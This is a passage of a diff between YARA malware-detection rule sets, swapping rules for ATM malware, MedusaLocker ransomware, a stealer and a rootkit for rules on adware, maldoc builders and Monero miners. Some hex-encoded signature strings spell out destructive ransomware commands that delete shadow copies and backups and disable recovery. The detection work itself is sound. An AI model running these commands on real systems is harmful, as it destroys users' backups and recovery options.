0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 } condition: - uint16( 0 ) == 0x5a4d and filesize > 15KB and 2 of ( $seq* ) and 3 of ( $s* ) + uint16( 0 ) == 0x457f and filesize < 26000KB and all of them } - -rule ARKBIRD_SOLG_Mal_ATM_Loup_Aug_2020_1 : FILE +rule TRELLIX_ARC_Malw_Browser_Fox_Adware : ADWARE FILE { meta: - description = "Detect ATM malware Loup by theirs strings." - author = "Arkbird_SOLG" - id = "07c0fe02-a82a-58a7-8776-748a1c986f93" - date = "2020-08-17" - modified = "2020-08-18" - reference = "https://twitter.com/r3c0nst/status/1295275546780327936" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-17/Loup/Mal_ATM_Loup_Aug_2020_1.yar#L3-L34" - license_url = "N/A" - logic_hash = "18e4d6af5d89746b42c87d7311e442f61deff3bfcbf57cc008d87290e91baafb" + description = "Rule to detect Browser Fox Adware based on the PDB reference" + author = "Marc Rivero | McAfee ATR Team" + id = "67d20c3a-4e9d-5fbf-b26a-d7b5fb270d12" + date = "2015-01-15" + modified = "2020-08-14" + reference = "https://www.sophos.com/en-us/threat-center/threat-analyses/adware-and-puas/Browse%20Fox.aspx" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_browser_fox_adware.yar#L1-L25" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "c6f3d6024339940896dd18f32064c0773d51f0261ecbee8b0534fdd9a149ac64" + logic_hash = "462a05de46ec0d710cac80a05d4935279a43f49cbd5ef49c072f277982a76fce" score = 75 - quality = 67 - tags = "FILE" - hash1 = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196" + quality = 70 + tags = "ADWARE, FILE" + rule_version = "v1" + malware_type = "adware" + malware_family = "Adware:W32/BrowserFox" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $pdb1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" fullword ascii - $pdb2 = "PDBOpenValidate5" fullword ascii - $dbg1 = "Run-Time Check Failure #%d - %s" fullword ascii - $dbg2 = "Unknown Filename" fullword ascii - $dbg3 = "Unknown Module Name" fullword ascii - $info1 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii - $info2 = { 41 64 64 72 65 73 73 3a 20 30 78 } - $info3 = { 53 69 7a 65 3a } - $info4 = { 44 61 74 61 3a } - $s1 = "MSXFS.dll" fullword ascii - $s2 = "WFSExecute" fullword ascii - $s3 = "WfsVersion" fullword ascii - $s4 = "SvcVersion" fullword ascii - $s5 = "SpiVersion" fullword ascii - $s6 = "CurrencyDispenser1" fullword ascii - $s7 = "WFSUnlock" fullword ascii - $s8 = "WFSFreeResult" fullword ascii - $s9 = "WFSCleanUp" fullword ascii - $s10 = "WFSOpen" fullword ascii - $s11 = "WFSClose" fullword ascii - $s12 = "WFSStartUp" fullword ascii + $pdb = "\\Utilities\\130ijkfv.o4g\\Desktop\\Desktop.OptChecker\\bin\\Release\\ BooZaka.Opt" condition: - uint16( 0 ) == 0x5a4d and filesize < 20KB and ( pe.imphash ( ) == "190fc01f66c40478aa91be89a98c57e9" and ( 1 of ( $pdb* ) and 2 of ( $dbg* ) and 2 of ( $info* ) and 9 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and filesize < 800KB and any of them } -rule ARKBIRD_SOLG_RAN_Medusalocker_July_2021_1 : FILE +rule TRELLIX_ARC_Msworldexploit_Builder_Doc : MALDOC FILE { meta: - description = "Detect MedusaLocker ransomware" - author = "Arkbird_SOLG" - id = "7eec35ac-f1ec-596b-8224-ef27e31e841c" - date = "2021-07-25" - modified = "2021-08-08" - reference = "https://twitter.com/r3dbU7z/status/1418433910057353217" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-25/MedusaLocker/RAN_MedusaLocker_July_2021_1.yara#L1-L28" - license_url = "N/A" - logic_hash = "541665541c07b585a7dfa024f85516b7be94d7d8d76a85e58c8c3b71fd0550ff" + description = "Rule to detect RTF/Docs files created by MsWordExploit Builder" + author = "Marc Rivero | McAfee ATR Team" + id = "6c4c091b-5fce-583a-bc17-31830251892c" + date = "2026-03-01" + modified = "2020-08-14" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_MsWordExploit_DOC.yar#L1-L24" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "f85c6d79e5ed20084d35f9de92a9d9ce20cf4b3100b1226d64147e366934585d" score = 75 - quality = 73 - tags = "FILE" - hash1 = "033b4950a8f249b20eb86ec6f8f2ea0a1567bb164289d1aa7fb0ba51f9bbe46c" - hash2 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad" - hash3 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc" - hash4 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31" - tlp = "white" - adversary = "RaaS" + quality = 68 + tags = "MALDOC, FILE" + malware_type = "maldoc" + malware_family = "Maldoc:W32/MSwordExploit" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 52 00 65 00 73 00 69 00 7a 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 53 00 74 00 6f 00 72 00 61 00 67 00 65 00 20 00 2f 00 66 00 6f 00 72 00 3d 00 ?? 00 3a 00 20 00 2f 00 6f 00 6e 00 3d 00 ?? 00 3a 00 20 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d } - $s2 = { 64 00 65 00 6c 00 20 00 2f 00 73 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 56 00 48 00 44 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 63 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 6b 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 62 00 63 00 61 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 6b 00 66 00 20 00 ?? 00 3a 00 5c 00 42 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 73 00 65 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 69 00 6e 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 64 00 73 00 6b } - $s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 } - $s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 } - $s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide - $s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f } - $s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 } - $s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 } - $s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 } - $s10 = { 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a } - $x1 = { 48 89 5c 24 08 57 48 83 ec 30 48 8b da 48 8b f9 e8 0b fe ff ff 44 8b 43 08 48 8d 47 28 44 2b 03 45 33 c9 48 8b 13 48 8b 4f 20 48 89 44 24 28 c7 44 24 20 00 00 00 00 ff 15 [2] 07 00 85 c0 74 12 c6 47 08 01 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 ff 15 [2] 07 00 48 8b 5c 24 40 89 47 34 48 8b c7 } + $s1 = { 68 74 74 70 3A 2F 2F 61 70 69 2E 6D 73 77 6F 72 64 65 78 70 6C 6F 69 74 2E 63 6F 6D } + $s2 = "{\\*\\generator mswordexploit 6.3.9600}" fullword ascii condition: - uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* ) and $x1 + uint16( 0 ) == 0x3030 and filesize < 4000KB and any of them } -rule ARKBIRD_SOLG_MAL_Cadelspy_Stealer_May_2021_1 : FILE +rule TRELLIX_ARC_MINER_Monero_Mining_Detection : MINER FILE { meta: - description = "Detect Cadelspy stealer" - author = "Arkbird_SOLG" - id = "bac23ed9-f51c-546e-8f4e-320d33b51829" - date = "2021-05-30" - modified = "2021-06-05" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-30/APT39/MAL_Cadelspy_Stealer_May_2021_1.yara#L1-L24" - license_url = "N/A" - logic_hash = "29fade3703c55bd16e67f9bf126cb0d8a06bc0eafe10e145f8d57d8c4abe5656" + description = "Monero mining software" + author = "Trellix ATR team" + id = "98ee7711-16ee-58e1-b52f-c68dd5f2b8a3" + date = "2018-04-05" + modified = "2022-01-19" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/miners/MINER_Monero.yar#L1-L43" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "4c1815186b0eb9e6be5fb0fcad02fd981ac9cf79c485fe12ce4a73054ef9fda2" score = 75 - quality = 75 - tags = "FILE" - hash1 = "8847a73bbd9477be60685ce8ec8333db933892f4d7b729fcef01ac76600de9ff" - hash2 = "f3b0ad96c8529399bd7117bd67cdf0297191476d3a81a60b147960306ae5f068" - hash3 = "88c947d0d0fddd1ea87f5b85982cf231c9c56e4f5e25fac405f608a1c28d8391" - tlp = "White" - adversary = "APT39" + quality = 70 + tags = "MINER, FILE" + rule_version = "v1" + malware_type = "miner" + malware_family = "Ransom:W32/MoneroMiner" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $str1 = "C:\\Windows\\SysEvent.exe" fullword wide - $str2 = "\\sysprep\\sysprep.exe" fullword wide - $str3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide - $str4 = "@C:\\Windows\\systemw.dll" fullword wide - $str5 = "systemw.dll" fullword ascii - $str6 = "ApAshell32.dll" fullword wide - $seq1 = { 55 8b ec 83 ec 14 a1 04 00 41 00 33 c5 89 45 fc 8d 45 f8 c7 45 f0 00 00 00 00 50 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 20 02 00 00 6a 20 6a 02 8d 45 f0 66 c7 45 f4 00 05 50 ff 15 08 30 40 00 85 c0 74 25 8d 45 ec 50 ff 75 f8 6a 00 ff 15 04 30 40 00 ff 75 f8 f7 d8 1b c0 21 45 ec ff 15 00 30 40 00 83 7d ec 00 75 05 e8 52 fd ff ff 56 68 2d 02 00 00 ff 15 30 30 40 00 68 1c 33 40 00 ff 15 20 30 40 00 6a 00 6a 00 6a 01 6a 00 6a 00 6a 02 68 1c 33 40 00 89 45 f8 ff 15 1c 30 40 00 6a 00 8b f0 8d 45 f8 50 68 00 ba 00 00 68 68 33 40 00 56 ff 15 6c 30 40 00 56 ff 15 74 30 40 00 6a 01 6a 00 6a 00 68 1c 33 40 00 68 4c 33 40 00 6a 00 ff 15 b0 30 40 00 8b 4d fc 33 c0 33 cd 5e e8 06 00 00 00 } - $seq2 = { 8b 0d 10 32 40 00 0f 10 05 24 32 40 00 89 08 8b 0d 14 32 40 00 89 48 04 8b 0d 18 32 40 00 89 48 08 8b 0d 1c 32 40 00 89 48 0c 66 8b 0d 20 32 40 00 66 89 48 10 33 c9 a1 3c 32 40 00 0f 11 84 24 34 04 00 00 89 84 24 4c 04 00 00 f3 0f 7e 05 34 32 40 00 66 0f d6 84 24 44 04 00 00 0f 1f 40 00 0f b7 84 0c c8 0f 00 00 8d 49 02 66 89 84 0c 42 08 00 00 66 85 c0 75 e8 8d bc 24 44 08 00 00 83 c7 fe 66 8b 47 02 83 c7 02 66 85 c0 75 f4 b9 0a 00 00 00 be 40 32 40 00 f3 a5 b9 21 00 00 00 0f 10 05 58 33 40 00 66 a5 8d bc 24 54 0c 00 00 be 70 32 40 00 f3 a5 66 a5 0f 11 84 24 5c 0e 00 00 0f 10 05 78 ed 40 00 0f 11 84 24 6c 0e 00 00 0f 10 05 68 ed 40 00 0f 11 84 24 7c 0e 00 00 38 45 08 75 1f 8d 44 24 10 50 e8 23 fa ff ff 5f 5e 5b 8b 8c 24 c8 11 00 00 33 cc e8 1c 04 00 00 8b } - $seq3 = { 8b 84 b5 e4 d9 ff ff 85 c0 74 66 50 6a 00 68 ff ff 1f 00 ff 15 28 30 40 00 8b f8 85 ff 74 52 8d 85 dc d9 ff ff 50 6a 04 8d 85 d0 d9 ff ff 50 57 ff 15 64 30 40 00 85 c0 74 32 68 04 01 00 00 8d 85 ec fb ff ff 50 ff b5 d0 d9 ff ff 57 ff 15 34 30 40 00 8d 85 ec fb ff ff 68 f8 32 40 00 50 ff 15 38 31 40 00 83 c4 08 85 c0 74 21 57 ff d3 33 ff 8b 85 e0 d9 ff ff 46 c1 e8 02 8b cf 3b f0 0f 82 7b ff ff ff 85 c9 0f 84 43 01 00 00 68 04 01 00 00 8d 85 e4 f9 ff ff 50 6a 00 ff 15 3c 30 40 00 85 c0 0f 84 24 01 00 00 8d 85 f4 fd ff ff 50 68 04 01 00 00 ff 15 14 30 40 00 8d 85 f4 fd ff ff 50 6a 00 68 14 33 40 00 50 ff 15 60 30 40 00 6a 00 8d 85 f4 fd ff ff 50 8d 85 e4 f9 ff ff 50 ff 15 58 30 40 00 85 c0 0f 84 df 00 00 00 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 8d 85 f4 fd ff ff 50 ff 15 1c 30 40 00 8b f0 83 fe ff 0f 84 b8 00 00 00 6a 00 8d 85 d8 d9 ff ff 50 68 00 10 00 00 8d 85 e4 e9 ff ff 50 56 ff 15 78 30 40 00 85 } + $1 = "* COMMANDS: 'h' hashrate, 'p' pause, 'r' resume" fullword ascii + $2 = "--cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" fullword ascii + $3 = "* THREADS: %d, %s, av=%d, %sdonate=%d%%%s" fullword ascii + $4 = "--user-agent set custom user-agent string for pool" fullword ascii + $5 = "-O, --userpass=U:P username:password pair for mining server" fullword ascii + $6 = "--cpu-priority set process priority (0 idle, 2 normal to 5 highest)" fullword ascii + $7 = "-p, --pass=PASSWORD password for mining server" fullword ascii + $8 = "* VERSIONS: XMRig/%s libuv/%s%s" fullword ascii + $9 = "-k, --keepalive send keepalived for prevent timeout (need pool support)" fullword ascii + $10 = "--max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)" fullword ascii + $11 = "--nicehash enable nicehash/xmrig-proxy support" fullword ascii + $12 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii + $13 = "* CPU: %s (%d) %sx64 %sAES-NI" fullword ascii + $14 = "-r, --retries=N number of times to retry before switch to backup server (default: 5)" fullword ascii + $15 = "-B, --background run the miner in the background" fullword ascii + $16 = "* API PORT: %d" fullword ascii + $17 = "--api-access-token=T access token for API" fullword ascii + $18 = "-t, --threads=N number of miner threads" fullword ascii + $19 = "--print-time=N print hashrate report every N seconds" fullword ascii + $20 = "-u, --user=USERNAME username for mining server" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $str* ) and 2 of ( $seq* ) + ( uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( 8 of them ) ) or ( all of them ) } -rule ARKBIRD_SOLG_MAL_Netfilter_May_2021_1 : FILE + +rule TRELLIX_ARC_Trojan_Coinminer : FILE { meta: - description = "Detect Netfilter rootkit" - author = "Arkbird_SOLG" - id = "da333ed8-8cd3-5ae4-bce5-a43a227fdee3" - date = "2021-06-18" - modified = "2021-06-21" - reference = "https://twitter.com/struppigel/status/1405483373280235520" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_May_2021_1.yara#L1-L22" - license_url = "N/A" - logic_hash = "f219981af907f74e4d95f768d99b7fd877c8bfb00587d198a4b0e2c521c744e1" + description = "Rule to detect Coinminer malware" + author = "Trellix ATR" + id = "ec1f4fb7-bce3-5d5b-bbff-50f9bfc90298" + date = "2021-07-22" + modified = "2022-01-19" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/miners/Trojan_CoinMiner.yar#L3-L23" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "0d9d502eb0a54f90044f42f8ce485a2df6814064172cb7bf006a8c8a51976acd" score = 75 - quality = 73 + quality = 70 tags = "FILE" - hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0" - hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870" - hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe" - tlp = "White" - adversary = "Chinese APT Group" + version = "v1" + hash1 = "3bdac08131ba5138bcb5abaf781d6dc7421272ce926bc37fa27ca3eeddcec3c2" + hash2 = "d60766c4e6e77de0818e59f687810f54a4e08505561a6bcc93c4180adb0f67e7" strings: - $seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 } - $seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 } - $seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d } - $seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b } - $s1 = "%sc=%s" fullword ascii - $s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 } - $s3 = "NETIO.SYS" fullword ascii + $seq0 = { df 75 ab 7b 80 bf 83 c1 48 b3 18 74 70 01 24 5c } + $seq1 = { 08 37 4e 6e 0f 50 0b 11 d0 98 0f a8 b8 27 47 4e } + $seq2 = { bf 17 5a 08 09 ab 80 2f a1 b0 b1 da 47 9f e1 61 } + $seq3 = { 53 36 34 b2 94 01 cc 05 8c 36 aa 8a 07 ff 06 1f } + $seq4 = { 25 30 ae c4 44 d1 97 82 a5 06 05 63 07 02 28 3a } + $seq5 = { 01 69 8e 1c 39 7b 11 56 38 0f 43 c8 5f a8 62 d0 } condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and ( 3 of ( $seq* ) or 2 of ( $s* ) ) + ( uint16( 0 ) == 0x5a4d and filesize < 5000KB and pe.imphash ( ) == "e4290fa6afc89d56616f34ebbd0b1f2c" and 3 of ( $seq* ) ) } -rule ARKBIRD_SOLG_MAL_Netfilter_Dropper_Jun_2021_1 : FILE +/* + * YARA Rule Set + * Repository Name: Arkbird SOLG + * Repository: https://github.com/StrangerealIntel/DailyIOC + * Retrieval Date: 2026-03-01 + * Git Commit: a873ff1298c43705e9c67286f3014f4300dd04f7 + * Number of Rules: 215 + * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance) + * + * + * LICENSE + * + * NO LICENSE SET + */ +rule ARKBIRD_SOLG_SP_Vault7_SIG_F_Nov_2020_1 : FILE { meta: - description = "Detect the dropper of Netfilter rootkit" + description = "Detect open-source PasswordReminder recovery tools used by Chinese APT in the Past" author = "Arkbird_SOLG" - id = "5e67c99c-6b08-5190-9c8a-55086c20923e" - date = "2020-06-18" - modified = "2021-06-18" - reference = "https://twitter.com/struppigel/status/1405483373280235520" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_Dropper_Jun_2021_1.yara#L1-L20" + id = "0b65e333-16e2-57c3-84f0-5cd24c9d9593" + date = "2020-11-30" + modified = "2020-11-30" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-30/SP_Vault7_SIG_F_Nov_2020_1.yar#L1-L23" license_url = "N/A" - logic_hash = "66e96304e097a0f6cd99cf77b20f61b8a0bcceaf8685a336c039a80947a08f78" + logic_hash = "b03ffb433491b532d891f29aeb5b33c6578067f2f05845514a7bdc1e50f88a10" score = 75 quality = 75 tags = "FILE" - hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac" - hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9" - hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540" - tlp = "White" - adversary = "Chinese APT Group" + hash1 = "e6e17f2b2ce0ae07cf48654156b79ee90d330961456f731e84c94f50fe34f802" + hash2 = "c224ee5bef42a45e84e0d5a409d8b4c3842b2a7ac3fe5006ee795e64e0778e6e" strings: - $seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 } - $seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 } - $s1 = "%s\\netfilter.sys" fullword ascii - $s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii - $s3 = "\\\\.\\netfilter" fullword ascii + $dbg1 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 57 69 6e 4c 6f 67 6f 6e 20 6f 72 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 4e 57 47 49 4e 41 2e 44 4c 4c 2e 0a } + $dbg2 = { 54 68 65 20 65 6e 63 6f 64 65 64 20 70 61 73 73 77 6f 72 64 20 69 73 20 66 6f 75 6e 64 